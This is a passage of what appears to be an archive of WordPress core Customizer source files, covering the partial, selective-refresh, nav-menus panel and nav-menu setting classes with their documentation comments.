	 *
	 * @since 4.5.0
	 *
	 * @param WP_Customize_Selective_Refresh $component Customize Partial Refresh plugin instance.
	 * @param string                         $id        Control ID.
	 * @param array                          $args {
	 *     Optional. Array of properties for the new Partials object. Default empty array.
	 *
	 *     @type string   $type                  Type of the partial to be created.
	 *     @type string   $selector              The jQuery selector to find the container element for the partial, that is,
	 *                                           a partial's placement.
	 *     @type string[] $settings              IDs for settings tied to the partial. If undefined, `$id` will be used.
	 *     @type string   $primary_setting       The ID for the setting that this partial is primarily responsible for
	 *                                           rendering. If not supplied, it will default to the ID of the first setting.
	 *     @type string   $capability            Capability required to edit this partial.
	 *                                           Normally this is empty and the capability is derived from the capabilities
	 *                                           of the associated `$settings`.
	 *     @type callable $render_callback       Render callback.
	 *                                           Callback is called with one argument, the instance of WP_Customize_Partial.
	 *                                           The callback can either echo the partial or return the partial as a string,
	 *                                           or return false if error.
	 *     @type bool     $container_inclusive   Whether the container element is included in the partial, or if only
	 *                                           the contents are rendered.
	 *     @type bool     $fallback_refresh      Whether to refresh the entire preview in case a partial cannot be refreshed.
	 *                                           A partial render is considered a failure if the render_callback returns
	 *                                           false.
	 * }
	 */
	public function __construct( WP_Customize_Selective_Refresh $component, $id, $args = array() ) {
		$keys = array_keys( get_object_vars( $this ) );
		foreach ( $keys as $key ) {
			if ( isset( $args[ $key ] ) ) {
				$this->$key = $args[ $key ];
			}
		}

		$this->component       = $component;
		$this->id              = $id;
		$this->id_data['keys'] = preg_split( '/\[/', str_replace( ']', '', $this->id ) );
		$this->id_data['base'] = array_shift( $this->id_data['keys'] );

		if ( empty( $this->render_callback ) ) {
			$this->render_callback = array( $this, 'render_callback' );
		}

		// Process settings.
		if ( ! isset( $this->settings ) ) {
			$this->settings = array( $id );
		} elseif ( is_string( $this->settings ) ) {
			$this->settings = array( $this->settings );
		}

		if ( empty( $this->primary_setting ) ) {
			$this->primary_setting = current( $this->settings );
		}
	}

	/**
	 * Retrieves parsed ID data for multidimensional setting.
	 *
	 * @since 4.5.0
	 *
	 * @return array {
	 *     ID data for multidimensional partial.
	 *
	 *     @type string $base ID base.
	 *     @type array  $keys Keys for multidimensional array.
	 * }
	 */
	final public function id_data() {
		return $this->id_data;
	}

	/**
	 * Renders the template partial involving the associated settings.
	 *
	 * @since 4.5.0
	 *
	 * @param array $container_context Optional. Array of context data associated with the target container (placement).
	 *                                 Default empty array.
	 * @return string|array|false The rendered partial as a string, raw data array (for client-side JS template),
	 *                            or false if no render applied.
	 */
	final public function render( $container_context = array() ) {
		$partial  = $this;
		$rendered = false;

		if ( ! empty( $this->render_callback ) ) {
			ob_start();
			$return_render = call_user_func( $this->render_callback, $this, $container_context );
			$ob_render     = ob_get_clean();

			if ( null !== $return_render && '' !== $ob_render ) {
				_doing_it_wrong( __FUNCTION__, __( 'Partial render must echo the content or return the content string (or array), but not both.' ), '4.5.0' );
			}

			/*
			 * Note that the string return takes precedence because the $ob_render may just\
			 * include PHP warnings or notices.
			 */
			$rendered = null !== $return_render ? $return_render : $ob_render;
		}

		/**
		 * Filters partial rendering.
		 *
		 * @since 4.5.0
		 *
		 * @param string|array|false   $rendered          The partial value. Default false.
		 * @param WP_Customize_Partial $partial           WP_Customize_Setting instance.
		 * @param array                $container_context Optional array of context data associated with
		 *                                                the target container.
		 */
		$rendered = apply_filters( 'customize_partial_render', $rendered, $partial, $container_context );

		/**
		 * Filters partial rendering for a specific partial.
		 *
		 * The dynamic portion of the hook name, `$partial->ID` refers to the partial ID.
		 *
		 * @since 4.5.0
		 *
		 * @param string|array|false   $rendered          The partial value. Default false.
		 * @param WP_Customize_Partial $partial           WP_Customize_Setting instance.
		 * @param array                $container_context Optional array of context data associated with
		 *                                                the target container.
		 */
		$rendered = apply_filters( "customize_partial_render_{$partial->id}", $rendered, $partial, $container_context );

		return $rendered;
	}

	/**
	 * Default callback used when invoking WP_Customize_Control::render().
	 *
	 * Note that this method may echo the partial *or* return the partial as
	 * a string or array, but not both. Output buffering is performed when this
	 * is called. Subclasses can override this with their specific logic, or they
	 * may provide an 'render_callback' argument to the constructor.
	 *
	 * This method may return an HTML string for straight DOM injection, or it
	 * may return an array for supporting Partial JS subclasses to render by
	 * applying to client-side templating.
	 *
	 * @since 4.5.0
	 *
	 * @param WP_Customize_Partial $partial Partial.
	 * @param array                $context Context.
	 * @return string|array|false
	 */
	public function render_callback( WP_Customize_Partial $partial, $context = array() ) {
		unset( $partial, $context );
		return false;
	}

	/**
	 * Retrieves the data to export to the client via JSON.
	 *
	 * @since 4.5.0
	 *
	 * @return array Array of parameters passed to the JavaScript.
	 */
	public function json() {
		$exports = array(
			'settings'           => $this->settings,
			'primarySetting'     => $this->primary_setting,
			'selector'           => $this->selector,
			'type'               => $this->type,
			'fallbackRefresh'    => $this->fallback_refresh,
			'containerInclusive' => $this->container_inclusive,
		);
		return $exports;
	}

	/**
	 * Checks if the user can refresh this partial.
	 *
	 * Returns false if the user cannot manipulate one of the associated settings,
	 * or if one of the associated settings does not exist.
	 *
	 * @since 4.5.0
	 *
	 * @return bool False if user can't edit one of the related settings,
	 *                    or if one of the associated settings does not exist.
	 */
	final public function check_capabilities() {
		if ( ! empty( $this->capability ) && ! current_user_can( $this->capability ) ) {
			return false;
		}
		foreach ( $this->settings as $setting_id ) {
			$setting = $this->component->manager->get_setting( $setting_id );
			if ( ! $setting || ! $setting->check_capabilities() ) {
				return false;
			}
		}
		return true;
	}
}
class-wp-customize-selective-refresh.php000064400000032672151024210340014445 0ustar00<?php
/**
 * Customize API: WP_Customize_Selective_Refresh class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.5.0
 */

/**
 * Core Customizer class for implementing selective refresh.
 *
 * @since 4.5.0
 */
#[AllowDynamicProperties]
final class WP_Customize_Selective_Refresh {

	/**
	 * Query var used in requests to render partials.
	 *
	 * @since 4.5.0
	 */
	const RENDER_QUERY_VAR = 'wp_customize_render_partials';

	/**
	 * Customize manager.
	 *
	 * @since 4.5.0
	 * @var WP_Customize_Manager
	 */
	public $manager;

	/**
	 * Registered instances of WP_Customize_Partial.
	 *
	 * @since 4.5.0
	 * @var WP_Customize_Partial[]
	 */
	protected $partials = array();

	/**
	 * Log of errors triggered when partials are rendered.
	 *
	 * @since 4.5.0
	 * @var array
	 */
	protected $triggered_errors = array();

	/**
	 * Keep track of the current partial being rendered.
	 *
	 * @since 4.5.0
	 * @var string|null
	 */
	protected $current_partial_id;

	/**
	 * Plugin bootstrap for Partial Refresh functionality.
	 *
	 * @since 4.5.0
	 *
	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
	 */
	public function __construct( WP_Customize_Manager $manager ) {
		$this->manager = $manager;
		require_once ABSPATH . WPINC . '/customize/class-wp-customize-partial.php';

		add_action( 'customize_preview_init', array( $this, 'init_preview' ) );
	}

	/**
	 * Retrieves the registered partials.
	 *
	 * @since 4.5.0
	 *
	 * @return array Partials.
	 */
	public function partials() {
		return $this->partials;
	}

	/**
	 * Adds a partial.
	 *
	 * @since 4.5.0
	 *
	 * @see WP_Customize_Partial::__construct()
	 *
	 * @param WP_Customize_Partial|string $id   Customize Partial object, or Partial ID.
	 * @param array                       $args Optional. Array of properties for the new Partials object.
	 *                                          See WP_Customize_Partial::__construct() for information
	 *                                          on accepted arguments. Default empty array.
	 * @return WP_Customize_Partial The instance of the partial that was added.
	 */
	public function add_partial( $id, $args = array() ) {
		if ( $id instanceof WP_Customize_Partial ) {
			$partial = $id;
		} else {
			$class = 'WP_Customize_Partial';

			/** This filter is documented in wp-includes/customize/class-wp-customize-selective-refresh.php */
			$args = apply_filters( 'customize_dynamic_partial_args', $args, $id );

			/** This filter is documented in wp-includes/customize/class-wp-customize-selective-refresh.php */
			$class = apply_filters( 'customize_dynamic_partial_class', $class, $id, $args );

			$partial = new $class( $this, $id, $args );
		}

		$this->partials[ $partial->id ] = $partial;
		return $partial;
	}

	/**
	 * Retrieves a partial.
	 *
	 * @since 4.5.0
	 *
	 * @param string $id Customize Partial ID.
	 * @return WP_Customize_Partial|null The partial, if set. Otherwise null.
	 */
	public function get_partial( $id ) {
		if ( isset( $this->partials[ $id ] ) ) {
			return $this->partials[ $id ];
		} else {
			return null;
		}
	}

	/**
	 * Removes a partial.
	 *
	 * @since 4.5.0
	 *
	 * @param string $id Customize Partial ID.
	 */
	public function remove_partial( $id ) {
		unset( $this->partials[ $id ] );
	}

	/**
	 * Initializes the Customizer preview.
	 *
	 * @since 4.5.0
	 */
	public function init_preview() {
		add_action( 'template_redirect', array( $this, 'handle_render_partials_request' ) );
		add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_preview_scripts' ) );
	}

	/**
	 * Enqueues preview scripts.
	 *
	 * @since 4.5.0
	 */
	public function enqueue_preview_scripts() {
		wp_enqueue_script( 'customize-selective-refresh' );
		add_action( 'wp_footer', array( $this, 'export_preview_data' ), 1000 );
	}

	/**
	 * Exports data in preview after it has finished rendering so that partials can be added at runtime.
	 *
	 * @since 4.5.0
	 */
	public function export_preview_data() {
		$partials = array();

		foreach ( $this->partials() as $partial ) {
			if ( $partial->check_capabilities() ) {
				$partials[ $partial->id ] = $partial->json();
			}
		}

		$switched_locale = switch_to_user_locale( get_current_user_id() );
		$l10n            = array(
			'shiftClickToEdit' => __( 'Shift-click to edit this element.' ),
			'clickEditMenu'    => __( 'Click to edit this menu.' ),
			'clickEditWidget'  => __( 'Click to edit this widget.' ),
			'clickEditTitle'   => __( 'Click to edit the site title.' ),
			'clickEditMisc'    => __( 'Click to edit this element.' ),
			/* translators: %s: document.write() */
			'badDocumentWrite' => sprintf( __( '%s is forbidden' ), 'document.write()' ),
		);
		if ( $switched_locale ) {
			restore_previous_locale();
		}

		$exports = array(
			'partials'       => $partials,
			'renderQueryVar' => self::RENDER_QUERY_VAR,
			'l10n'           => $l10n,
		);

		// Export data to JS.
		wp_print_inline_script_tag( sprintf( 'var _customizePartialRefreshExports = %s;', wp_json_encode( $exports ) ) );
	}

	/**
	 * Registers dynamically-created partials.
	 *
	 * @since 4.5.0
	 *
	 * @see WP_Customize_Manager::add_dynamic_settings()
	 *
	 * @param string[] $partial_ids Array of the partial IDs to add.
	 * @return WP_Customize_Partial[] Array of added WP_Customize_Partial instances.
	 */
	public function add_dynamic_partials( $partial_ids ) {
		$new_partials = array();

		foreach ( $partial_ids as $partial_id ) {

			// Skip partials already created.
			$partial = $this->get_partial( $partial_id );
			if ( $partial ) {
				continue;
			}

			$partial_args  = false;
			$partial_class = 'WP_Customize_Partial';

			/**
			 * Filters a dynamic partial's constructor arguments.
			 *
			 * For a dynamic partial to be registered, this filter must be employed
			 * to override the default false value with an array of args to pass to
			 * the WP_Customize_Partial constructor.
			 *
			 * @since 4.5.0
			 *
			 * @param false|array $partial_args The arguments to the WP_Customize_Partial constructor.
			 * @param string      $partial_id   ID for dynamic partial.
			 */
			$partial_args = apply_filters( 'customize_dynamic_partial_args', $partial_args, $partial_id );
			if ( false === $partial_args ) {
				continue;
			}

			/**
			 * Filters the class used to construct partials.
			 *
			 * Allow non-statically created partials to be constructed with custom WP_Customize_Partial subclass.
			 *
			 * @since 4.5.0
			 *
			 * @param string $partial_class WP_Customize_Partial or a subclass.
			 * @param string $partial_id    ID for dynamic partial.
			 * @param array  $partial_args  The arguments to the WP_Customize_Partial constructor.
			 */
			$partial_class = apply_filters( 'customize_dynamic_partial_class', $partial_class, $partial_id, $partial_args );

			$partial = new $partial_class( $this, $partial_id, $partial_args );

			$this->add_partial( $partial );
			$new_partials[] = $partial;
		}
		return $new_partials;
	}

	/**
	 * Checks whether the request is for rendering partials.
	 *
	 * Note that this will not consider whether the request is authorized or valid,
	 * just that essentially the route is a match.
	 *
	 * @since 4.5.0
	 *
	 * @return bool Whether the request is for rendering partials.
	 */
	public function is_render_partials_request() {
		return ! empty( $_POST[ self::RENDER_QUERY_VAR ] );
	}

	/**
	 * Handles PHP errors triggered during rendering the partials.
	 *
	 * These errors will be relayed back to the client in the Ajax response.
	 *
	 * @since 4.5.0
	 *
	 * @param int    $errno   Error number.
	 * @param string $errstr  Error string.
	 * @param string $errfile Error file.
	 * @param int    $errline Error line.
	 * @return true Always true.
	 */
	public function handle_error( $errno, $errstr, $errfile = null, $errline = null ) {
		$this->triggered_errors[] = array(
			'partial'      => $this->current_partial_id,
			'error_number' => $errno,
			'error_string' => $errstr,
			'error_file'   => $errfile,
			'error_line'   => $errline,
		);
		return true;
	}

	/**
	 * Handles the Ajax request to return the rendered partials for the requested placements.
	 *
	 * @since 4.5.0
	 */
	public function handle_render_partials_request() {
		if ( ! $this->is_render_partials_request() ) {
			return;
		}

		/*
		 * Note that is_customize_preview() returning true will entail that the
		 * user passed the 'customize' capability check and the nonce check, since
		 * WP_Customize_Manager::setup_theme() is where the previewing flag is set.
		 */
		if ( ! is_customize_preview() ) {
			wp_send_json_error( 'expected_customize_preview', 403 );
		} elseif ( ! isset( $_POST['partials'] ) ) {
			wp_send_json_error( 'missing_partials', 400 );
		}

		// Ensure that doing selective refresh on 404 template doesn't result in fallback rendering behavior (full refreshes).
		status_header( 200 );

		$partials = json_decode( wp_unslash( $_POST['partials'] ), true );

		if ( ! is_array( $partials ) ) {
			wp_send_json_error( 'malformed_partials' );
		}

		$this->add_dynamic_partials( array_keys( $partials ) );

		/**
		 * Fires immediately before partials are rendered.
		 *
		 * Plugins may do things like call wp_enqueue_scripts() and gather a list of the scripts
		 * and styles which may get enqueued in the response.
		 *
		 * @since 4.5.0
		 *
		 * @param WP_Customize_Selective_Refresh $refresh  Selective refresh component.
		 * @param array                          $partials Placements' context data for the partials rendered in the request.
		 *                                                 The array is keyed by partial ID, with each item being an array of
		 *                                                 the placements' context data.
		 */
		do_action( 'customize_render_partials_before', $this, $partials );

		set_error_handler( array( $this, 'handle_error' ), error_reporting() );

		$contents = array();

		foreach ( $partials as $partial_id => $container_contexts ) {
			$this->current_partial_id = $partial_id;

			if ( ! is_array( $container_contexts ) ) {
				wp_send_json_error( 'malformed_container_contexts' );
			}

			$partial = $this->get_partial( $partial_id );

			if ( ! $partial || ! $partial->check_capabilities() ) {
				$contents[ $partial_id ] = null;
				continue;
			}

			$contents[ $partial_id ] = array();

			// @todo The array should include not only the contents, but also whether the container is included?
			if ( empty( $container_contexts ) ) {
				// Since there are no container contexts, render just once.
				$contents[ $partial_id ][] = $partial->render( null );
			} else {
				foreach ( $container_contexts as $container_context ) {
					$contents[ $partial_id ][] = $partial->render( $container_context );
				}
			}
		}
		$this->current_partial_id = null;

		restore_error_handler();

		/**
		 * Fires immediately after partials are rendered.
		 *
		 * Plugins may do things like call wp_footer() to scrape scripts output and return them
		 * via the {@see 'customize_render_partials_response'} filter.
		 *
		 * @since 4.5.0
		 *
		 * @param WP_Customize_Selective_Refresh $refresh  Selective refresh component.
		 * @param array                          $partials Placements' context data for the partials rendered in the request.
		 *                                                 The array is keyed by partial ID, with each item being an array of
		 *                                                 the placements' context data.
		 */
		do_action( 'customize_render_partials_after', $this, $partials );

		$response = array(
			'contents' => $contents,
		);

		if ( defined( 'WP_DEBUG_DISPLAY' ) && WP_DEBUG_DISPLAY ) {
			$response['errors'] = $this->triggered_errors;
		}

		$setting_validities             = $this->manager->validate_setting_values( $this->manager->unsanitized_post_values() );
		$exported_setting_validities    = array_map( array( $this->manager, 'prepare_setting_validity_for_js' ), $setting_validities );
		$response['setting_validities'] = $exported_setting_validities;

		/**
		 * Filters the response from rendering the partials.
		 *
		 * Plugins may use this filter to inject `$scripts` and `$styles`, which are dependencies
		 * for the partials being rendered. The response data will be available to the client via
		 * the `render-partials-response` JS event, so the client can then inject the scripts and
		 * styles into the DOM if they have not already been enqueued there.
		 *
		 * If plugins do this, they'll need to take care for any scripts that do `document.write()`
		 * and make sure that these are not injected, or else to override the function to no-op,
		 * or else the page will be destroyed.
		 *
		 * Plugins should be aware that `$scripts` and `$styles` may eventually be included by
		 * default in the response.
		 *
		 * @since 4.5.0
		 *
		 * @param array $response {
		 *     Response.
		 *
		 *     @type array $contents Associative array mapping a partial ID its corresponding array of contents
		 *                           for the containers requested.
		 *     @type array $errors   List of errors triggered during rendering of partials, if `WP_DEBUG_DISPLAY`
		 *                           is enabled.
		 * }
		 * @param WP_Customize_Selective_Refresh $refresh  Selective refresh component.
		 * @param array                          $partials Placements' context data for the partials rendered in the request.
		 *                                                 The array is keyed by partial ID, with each item being an array of
		 *                                                 the placements' context data.
		 */
		$response = apply_filters( 'customize_render_partials_response', $response, $this, $partials );

		wp_send_json_success( $response );
	}
}
class-wp-customize-new-menu-section.php000064400000003235151024210340014214 0ustar00<?php
/**
 * Customize API: WP_Customize_New_Menu_Section class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 * @deprecated 4.9.0 This file is no longer used as of the menu creation UX introduced in #40104.
 */

_deprecated_file( basename( __FILE__ ), '4.9.0' );

/**
 * Customize Menu Section Class
 *
 * @since 4.3.0
 * @deprecated 4.9.0 This class is no longer used as of the menu creation UX introduced in #40104.
 *
 * @see WP_Customize_Section
 */
class WP_Customize_New_Menu_Section extends WP_Customize_Section {

	/**
	 * Control type.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $type = 'new_menu';

	/**
	 * Constructor.
	 *
	 * Any supplied $args override class property defaults.
	 *
	 * @since 4.9.0
	 * @deprecated 4.9.0
	 *
	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
	 * @param string               $id      A specific ID of the section.
	 * @param array                $args    Section arguments.
	 */
	public function __construct( WP_Customize_Manager $manager, $id, array $args = array() ) {
		_deprecated_function( __METHOD__, '4.9.0' );
		parent::__construct( $manager, $id, $args );
	}

	/**
	 * Render the section, and the controls that have been added to it.
	 *
	 * @since 4.3.0
	 * @deprecated 4.9.0
	 */
	protected function render() {
		_deprecated_function( __METHOD__, '4.9.0' );
		?>
		<li id="accordion-section-<?php echo esc_attr( $this->id ); ?>" class="accordion-section-new-menu">
			<button type="button" class="button add-new-menu-item add-menu-toggle" aria-expanded="false">
				<?php echo esc_html( $this->title ); ?>
			</button>
			<ul class="new-menu-section-content"></ul>
		</li>
		<?php
	}
}
class-wp-customize-nav-menus-panel.php000064400000006355151024210340014033 0ustar00<?php
/**
 * Customize API: WP_Customize_Nav_Menus_Panel class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Nav Menus Panel Class
 *
 * Needed to add screen options.
 *
 * @since 4.3.0
 *
 * @see WP_Customize_Panel
 */
class WP_Customize_Nav_Menus_Panel extends WP_Customize_Panel {

	/**
	 * Control type.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $type = 'nav_menus';

	/**
	 * Render screen options for Menus.
	 *
	 * @since 4.3.0
	 */
	public function render_screen_options() {
		// Adds the screen options.
		require_once ABSPATH . 'wp-admin/includes/nav-menu.php';
		add_filter( 'manage_nav-menus_columns', 'wp_nav_menu_manage_columns' );

		// Display screen options.
		$screen = WP_Screen::get( 'nav-menus.php' );
		$screen->render_screen_options( array( 'wrap' => false ) );
	}

	/**
	 * Returns the advanced options for the nav menus page.
	 *
	 * Link title attribute added as it's a relatively advanced concept for new users.
	 *
	 * @since 4.3.0
	 * @deprecated 4.5.0 Deprecated in favor of wp_nav_menu_manage_columns().
	 */
	public function wp_nav_menu_manage_columns() {
		_deprecated_function( __METHOD__, '4.5.0', 'wp_nav_menu_manage_columns' );
		require_once ABSPATH . 'wp-admin/includes/nav-menu.php';
		return wp_nav_menu_manage_columns();
	}

	/**
	 * An Underscore (JS) template for this panel's content (but not its container).
	 *
	 * Class variables for this panel class are available in the `data` JS object;
	 * export custom variables by overriding WP_Customize_Panel::json().
	 *
	 * @since 4.3.0
	 *
	 * @see WP_Customize_Panel::print_template()
	 */
	protected function content_template() {
		?>
		<li class="panel-meta customize-info accordion-section <# if ( ! data.description ) { #> cannot-expand<# } #>">
			<button type="button" class="customize-panel-back" tabindex="-1">
				<span class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'Back' );
					?>
				</span>
			</button>
			<div class="accordion-section-title">
				<span class="preview-notice">
					<?php
					/* translators: %s: The site/panel title in the Customizer. */
					printf( __( 'You are customizing %s' ), '<strong class="panel-title">{{ data.title }}</strong>' );
					?>
				</span>
				<button type="button" class="customize-help-toggle dashicons dashicons-editor-help" aria-expanded="false">
					<span class="screen-reader-text">
						<?php
						/* translators: Hidden accessibility text. */
						_e( 'Help' );
						?>
					</span>
				</button>
				<button type="button" class="customize-screen-options-toggle" aria-expanded="false">
					<span class="screen-reader-text">
						<?php
						/* translators: Hidden accessibility text. */
						_e( 'Menu Options' );
						?>
					</span>
				</button>
			</div>
			<# if ( data.description ) { #>
			<div class="description customize-panel-description">{{{ data.description }}}</div>
			<# } #>
			<div id="screen-options-wrap">
				<?php $this->render_screen_options(); ?>
			</div>
		</li>
		<?php
		// NOTE: The following is a workaround for an inability to treat (and thus label) a list of sections as a whole.
		?>
		<li class="customize-control-title customize-section-title-nav_menus-heading"><?php _e( 'Menus' ); ?></li>
		<?php
	}
}
class-wp-customize-nav-menu-setting.php000064400000044770151024210340014231 0ustar00<?php
/**
 * Customize API: WP_Customize_Nav_Menu_Setting class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Setting to represent a nav_menu.
 *
 * Subclass of WP_Customize_Setting to represent a nav_menu taxonomy term, and
 * the IDs for the nav_menu_items associated with the nav menu.
 *
 * @since 4.3.0
 *
 * @see wp_get_nav_menu_object()
 * @see WP_Customize_Setting
 */
class WP_Customize_Nav_Menu_Setting extends WP_Customize_Setting {

	const ID_PATTERN = '/^nav_menu\[(?P<id>-?\d+)\]$/';

	const TAXONOMY = 'nav_menu';

	const TYPE = 'nav_menu';

	/**
	 * Setting type.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $type = self::TYPE;

	/**
	 * Default setting value.
	 *
	 * @since 4.3.0
	 * @var array
	 *
	 * @see wp_get_nav_menu_object()
	 */
	public $default = array(
		'name'        => '',
		'description' => '',
		'parent'      => 0,
		'auto_add'    => false,
	);

	/**
	 * Default transport.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $transport = 'postMessage';

	/**
	 * The term ID represented by this setting instance.
	 *
	 * A negative value represents a placeholder ID for a new menu not yet saved.
	 *
	 * @since 4.3.0
	 * @var int
	 */
	public $term_id;

	/**
	 * Previous (placeholder) term ID used before creating a new menu.
	 *
	 * This value will be exported to JS via the {@see 'customize_save_response'} filter
	 * so that JavaScript can update the settings to refer to the newly-assigned
	 * term ID. This value is always negative to indicate it does not refer to
	 * a real term.
	 *
	 * @since 4.3.0
	 * @var int
	 *
	 * @see WP_Customize_Nav_Menu_Setting::update()
	 * @see WP_Customize_Nav_Menu_Setting::amend_customize_save_response()
	 */
	public $previous_term_id;

	/**
	 * Whether or not update() was called.
	 *
	 * @since 4.3.0
	 * @var bool
	 */
	protected $is_updated = false;

	/**
	 * Status for calling the update method, used in customize_save_response filter.
	 *
	 * See {@see 'customize_save_response'}.
	 *
	 * When status is inserted, the placeholder term ID is stored in `$previous_term_id`.
	 * When status is error, the error is stored in `$update_error`.
	 *
	 * @since 4.3.0
	 * @var string updated|inserted|deleted|error
	 *
	 * @see WP_Customize_Nav_Menu_Setting::update()
	 * @see WP_Customize_Nav_Menu_Setting::amend_customize_save_response()
	 */
	public $update_status;

	/**
	 * Any error object returned by wp_update_nav_menu_object() when setting is updated.
	 *
	 * @since 4.3.0
	 * @var WP_Error
	 *
	 * @see WP_Customize_Nav_Menu_Setting::update()
	 * @see WP_Customize_Nav_Menu_Setting::amend_customize_save_response()
	 */
	public $update_error;

	/**
	 * Constructor.
	 *
	 * Any supplied $args override class property defaults.
	 *
	 * @since 4.3.0
	 *
	 * @throws Exception If $id is not valid for this setting type.
	 *
	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
	 * @param string               $id      A specific ID of the setting.
	 *                                      Can be a theme mod or option name.
	 * @param array                $args    Optional. Setting arguments.
	 */
	public function __construct( WP_Customize_Manager $manager, $id, array $args = array() ) {
		if ( empty( $manager->nav_menus ) ) {
			throw new Exception( 'Expected WP_Customize_Manager::$nav_menus to be set.' );
		}

		if ( ! preg_match( self::ID_PATTERN, $id, $matches ) ) {
			throw new Exception( "Illegal widget setting ID: $id" );
		}

		$this->term_id = (int) $matches['id'];

		parent::__construct( $manager, $id, $args );
	}

	/**
	 * Get the instance data for a given widget setting.
	 *
	 * @since 4.3.0
	 *
	 * @see wp_get_nav_menu_object()
	 *
	 * @return array Instance data.
	 */
	public function value() {
		if ( $this->is_previewed && get_current_blog_id() === $this->_previewed_blog_id ) {
			$undefined  = new stdClass(); // Symbol.
			$post_value = $this->post_value( $undefined );

			if ( $undefined === $post_value ) {
				$value = $this->_original_value;
			} else {
				$value = $post_value;
			}
		} else {
			$value = false;

			// Note that a term_id of less than one indicates a nav_menu not yet inserted.
			if ( $this->term_id > 0 ) {
				$term = wp_get_nav_menu_object( $this->term_id );

				if ( $term ) {
					$value = wp_array_slice_assoc( (array) $term, array_keys( $this->default ) );

					$nav_menu_options  = (array) get_option( 'nav_menu_options', array() );
					$value['auto_add'] = false;

					if ( isset( $nav_menu_options['auto_add'] ) && is_array( $nav_menu_options['auto_add'] ) ) {
						$value['auto_add'] = in_array( $term->term_id, $nav_menu_options['auto_add'], true );
					}
				}
			}

			if ( ! is_array( $value ) ) {
				$value = $this->default;
			}
		}

		return $value;
	}

	/**
	 * Handle previewing the setting.
	 *
	 * @since 4.3.0
	 * @since 4.4.0 Added boolean return value
	 *
	 * @see WP_Customize_Manager::post_value()
	 *
	 * @return bool False if method short-circuited due to no-op.
	 */
	public function preview() {
		if ( $this->is_previewed ) {
			return false;
		}

		$undefined      = new stdClass();
		$is_placeholder = ( $this->term_id < 0 );
		$is_dirty       = ( $undefined !== $this->post_value( $undefined ) );
		if ( ! $is_placeholder && ! $is_dirty ) {
			return false;
		}

		$this->is_previewed       = true;
		$this->_original_value    = $this->value();
		$this->_previewed_blog_id = get_current_blog_id();

		add_filter( 'wp_get_nav_menus', array( $this, 'filter_wp_get_nav_menus' ), 10, 2 );
		add_filter( 'wp_get_nav_menu_object', array( $this, 'filter_wp_get_nav_menu_object' ), 10, 2 );
		add_filter( 'default_option_nav_menu_options', array( $this, 'filter_nav_menu_options' ) );
		add_filter( 'option_nav_menu_options', array( $this, 'filter_nav_menu_options' ) );

		return true;
	}

	/**
	 * Filters the wp_get_nav_menus() result to ensure the inserted menu object is included, and the deleted one is removed.
	 *
	 * @since 4.3.0
	 *
	 * @see wp_get_nav_menus()
	 *
	 * @param WP_Term[] $menus An array of menu objects.
	 * @param array     $args  An array of arguments used to retrieve menu objects.
	 * @return WP_Term[] Array of menu objects.
	 */
	public function filter_wp_get_nav_menus( $menus, $args ) {
		if ( get_current_blog_id() !== $this->_previewed_blog_id ) {
			return $menus;
		}

		$setting_value = $this->value();
		$is_delete     = ( false === $setting_value );
		$index         = -1;

		// Find the existing menu item's position in the list.
		foreach ( $menus as $i => $menu ) {
			if ( (int) $this->term_id === (int) $menu->term_id || (int) $this->previous_term_id === (int) $menu->term_id ) {
				$index = $i;
				break;
			}
		}

		if ( $is_delete ) {
			// Handle deleted menu by removing it from the list.
			if ( -1 !== $index ) {
				array_splice( $menus, $index, 1 );
			}
		} else {
			// Handle menus being updated or inserted.
			$menu_obj = (object) array_merge(
				array(
					'term_id'          => $this->term_id,
					'term_taxonomy_id' => $this->term_id,
					'slug'             => sanitize_title( $setting_value['name'] ),
					'count'            => 0,
					'term_group'       => 0,
					'taxonomy'         => self::TAXONOMY,
					'filter'           => 'raw',
				),
				$setting_value
			);

			array_splice( $menus, $index, ( -1 === $index ? 0 : 1 ), array( $menu_obj ) );
		}

		// Make sure the menu objects get re-sorted after an update/insert.
		if ( ! $is_delete && ! empty( $args['orderby'] ) ) {
			$menus = wp_list_sort(
				$menus,
				array(
					$args['orderby'] => 'ASC',
				)
			);
		}
		// @todo Add support for $args['hide_empty'] === true.

		return $menus;
	}

	/**
	 * Temporary non-closure passing of orderby value to function.
	 *
	 * @since 4.3.0
	 * @var string
	 *
	 * @see WP_Customize_Nav_Menu_Setting::filter_wp_get_nav_menus()
	 * @see WP_Customize_Nav_Menu_Setting::_sort_menus_by_orderby()
	 */
	protected $_current_menus_sort_orderby;

	/**
	 * Sort menu objects by the class-supplied orderby property.
	 *
	 * This is a workaround for a lack of closures.
	 *
	 * @since 4.3.0
	 * @deprecated 4.7.0 Use wp_list_sort()
	 *
	 * @param object $menu1
	 * @param object $menu2
	 * @return int
	 *
	 * @see WP_Customize_Nav_Menu_Setting::filter_wp_get_nav_menus()
	 */
	protected function _sort_menus_by_orderby( $menu1, $menu2 ) {
		_deprecated_function( __METHOD__, '4.7.0', 'wp_list_sort' );

		$key = $this->_current_menus_sort_orderby;
		return strcmp( $menu1->$key, $menu2->$key );
	}

	/**
	 * Filters the wp_get_nav_menu_object() result to supply the previewed menu object.
	 *
	 * Requesting a nav_menu object by anything but ID is not supported.
	 *
	 * @since 4.3.0
	 *
	 * @see wp_get_nav_menu_object()
	 *
	 * @param object|null $menu_obj Object returned by wp_get_nav_menu_object().
	 * @param string      $menu_id  ID of the nav_menu term. Requests by slug or name will be ignored.
	 * @return object|null
	 */
	public function filter_wp_get_nav_menu_object( $menu_obj, $menu_id ) {
		$ok = (
			get_current_blog_id() === $this->_previewed_blog_id
			&&
			is_int( $menu_id )
			&&
			$menu_id === $this->term_id
		);
		if ( ! $ok ) {
			return $menu_obj;
		}

		$setting_value = $this->value();

		// Handle deleted menus.
		if ( false === $setting_value ) {
			return false;
		}

		// Handle sanitization failure by preventing short-circuiting.
		if ( null === $setting_value ) {
			return $menu_obj;
		}

